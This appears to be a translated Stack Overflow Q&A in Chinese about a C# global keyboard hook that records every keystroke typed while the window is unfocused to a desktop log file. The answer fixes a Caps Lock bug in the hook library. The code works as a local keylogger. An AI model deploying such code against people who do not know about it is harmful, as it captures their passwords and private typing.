当窗口失焦时,我使用global keyboard hooks作为键盘侦听器。我已经完成了一些代码,我意识到无论出于何种原因,使用大写锁定会更改KeyEventArgs
的输出。使用shift / no shift输出普通结果但是如果我将大写锁定,A将变为U,B将变为V,C将变为W等等。以下是执行此操作的代码(如果需要,将添加全局键盘挂钩):
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using Utilities;
namespace WindowsFormsApplication1
{
public partial class Form6 : Form
{
globalKeyboardHook gkh = new globalKeyboardHook();
int sign_Indicator = 0;
double variable1;
double variable2;
int addBit = 0;
int subBit = 0;
int multBit = 0;
int divBit = 0;
int modBit = 0;
Boolean fl = false;
String s, x;
public Form6()
{
InitializeComponent();
}
private void Form6_Load(object sender, EventArgs e)
{
gkh.HookedKeys.Add(Keys.A);
gkh.HookedKeys.Add(Keys.B);
gkh.HookedKeys.Add(Keys.C);
gkh.HookedKeys.Add(Keys.D);
gkh.HookedKeys.Add(Keys.E);
gkh.HookedKeys.Add(Keys.F);
gkh.HookedKeys.Add(Keys.G);
gkh.HookedKeys.Add(Keys.H);
gkh.HookedKeys.Add(Keys.I);
gkh.HookedKeys.Add(Keys.J);
gkh.HookedKeys.Add(Keys.K);
gkh.HookedKeys.Add(Keys.L);
gkh.HookedKeys.Add(Keys.M);
gkh.HookedKeys.Add(Keys.N);
gkh.HookedKeys.Add(Keys.O);
gkh.HookedKeys.Add(Keys.P);
gkh.HookedKeys.Add(Keys.Q);
gkh.HookedKeys.Add(Keys.R);
gkh.HookedKeys.Add(Keys.S);
gkh.HookedKeys.Add(Keys.T);
gkh.HookedKeys.Add(Keys.U);
gkh.HookedKeys.Add(Keys.V);
gkh.HookedKeys.Add(Keys.W);
gkh.HookedKeys.Add(Keys.X);
gkh.HookedKeys.Add(Keys.Y);
gkh.HookedKeys.Add(Keys.Z);
gkh.HookedKeys.Add(Keys.D1);
gkh.HookedKeys.Add(Keys.D2);
gkh.HookedKeys.Add(Keys.D3);
gkh.HookedKeys.Add(Keys.D4);
gkh.HookedKeys.Add(Keys.D5);
gkh.HookedKeys.Add(Keys.D6);
gkh.HookedKeys.Add(Keys.D7);
gkh.HookedKeys.Add(Keys.D8);
gkh.HookedKeys.Add(Keys.D9);
gkh.HookedKeys.Add(Keys.D0);
gkh.HookedKeys.Add(Keys.Return);
gkh.HookedKeys.Add(Keys.Shift);
gkh.HookedKeys.Add(Keys.CapsLock);
gkh.HookedKeys.Add(Keys.Back);
gkh.HookedKeys.Add(Keys.Escape);
gkh.HookedKeys.Add(Keys.Space);
gkh.HookedKeys.Add(Keys.OemPeriod);
gkh.HookedKeys.Add(Keys.Oemcomma);
gkh.HookedKeys.Add(Keys.OemMinus);
gkh.HookedKeys.Add(Keys.Oemplus);
gkh.HookedKeys.Add(Keys.OemPipe);
gkh.HookedKeys.Add(Keys.OemBackslash);
gkh.HookedKeys.Add(Keys.OemOpenBrackets);
gkh.HookedKeys.Add(Keys.OemCloseBrackets);
gkh.HookedKeys.Add(Keys.OemQuotes);
gkh.HookedKeys.Add(Keys.OemSemicolon);
gkh.HookedKeys.Add(Keys.Oemtilde);
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
}
public static string location = "C:\\Users\\Hayden\\Desktop\\log.txt";
void gkh_KeyDown(object sender, KeyEventArgs e)
{
if (e.Modifiers == Keys.Shift)
{
if (e.KeyCode == Keys.OemPipe)
{
System.IO.File.AppendAllText(@location, "|");
}
else
{
System.IO.File.AppendAllText(@location, e.KeyCode.ToString());
}
}
else
{
if (e.KeyCode == Keys.Return)
{
System.IO.File.AppendAllText(@location, "[RETURN]");
}
else if (e.KeyCode == Keys.Back)
{
System.IO.File.AppendAllText(@location, "[BACKSPACE]");
}
else if (e.KeyCode == Keys.Space)
{
System.IO.File.AppendAllText(@location, " ");
}
else if (e.KeyCode == Keys.OemPeriod)
{
System.IO.File.AppendAllText(@location, ".");
}
else if (e.KeyCode == Keys.Oemcomma)
{
System.IO.File.AppendAllText(@location, ",");
}
else if (e.KeyCode == Keys.OemPipe)
{
System.IO.File.AppendAllText(@location, "\\");
}
else if (e.KeyCode == Keys.CapsLock)
{
System.IO.File.AppendAllText(@location, "");
}
else if (Control.IsKeyLocked(Keys.CapsLock))
{
System.IO.File.AppendAllText(@location, e.KeyCode.ToString());
}
else
{
System.IO.File.AppendAllText(@location, e.KeyCode.ToString().ToLower());
}
}
}
我该如何解决这个问题?我有没有想法为什么它完全改变了这封信,因为我把大写锁定了。 Shift工作正常。
答案 0 :(得分:1)
您链接到的globalKeyboardHook
课程使用此行进行AddModifiers(Keys key)
方法:
if ((GetKeyState(VK_CAPITAL) & 0x0001) != 0) key = key | Keys.CapsLock;
此代码检查Cap Lock是否打开,如果是,则检查稍后由该方法返回的key
变量。
问题是Caps Lock不是修饰键,不应该以这种方式操作。这就是您在大写锁定时所看到的奇怪键值的原因。
顺便说一句,只有Control,Shift和Alt是修饰键,AddModifiers()
处理这些键。
如果你删除这一行,我相信你会没事的。